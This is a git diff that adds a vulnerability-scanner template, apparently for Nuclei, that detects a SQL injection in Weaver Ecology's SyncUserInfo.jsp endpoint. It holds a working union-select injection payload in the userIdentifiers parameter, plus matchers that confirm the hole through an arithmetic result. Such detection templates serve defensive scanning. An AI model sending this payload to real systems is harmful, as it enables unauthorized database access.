diff --git a/vulnerabilities/other/ecology-syncuserinfo-sqli.yaml b/vulnerabilities/other/ecology-syncuserinfo-sqli.yaml new file mode 100644 index 0000000000..b66459e990 --- /dev/null +++ b/vulnerabilities/other/ecology-syncuserinfo-sqli.yaml @@ -0,0 +1,27 @@ +id: ecology-syncuserinfo-sqli +info: + name: Ecology Syncuserinfo Sqli + author: ritikchaddha + severity: high + reference: + - https://www.weaver.com.cn/ + tags: ecology,syncuserinfo,seasql + +requests: + - method: GET + path: + - "{{BaseURL}}/mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str(1520*1520),null" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + + - type: word + words: + - "2310400" + part: body + + - type: status + status: + - 200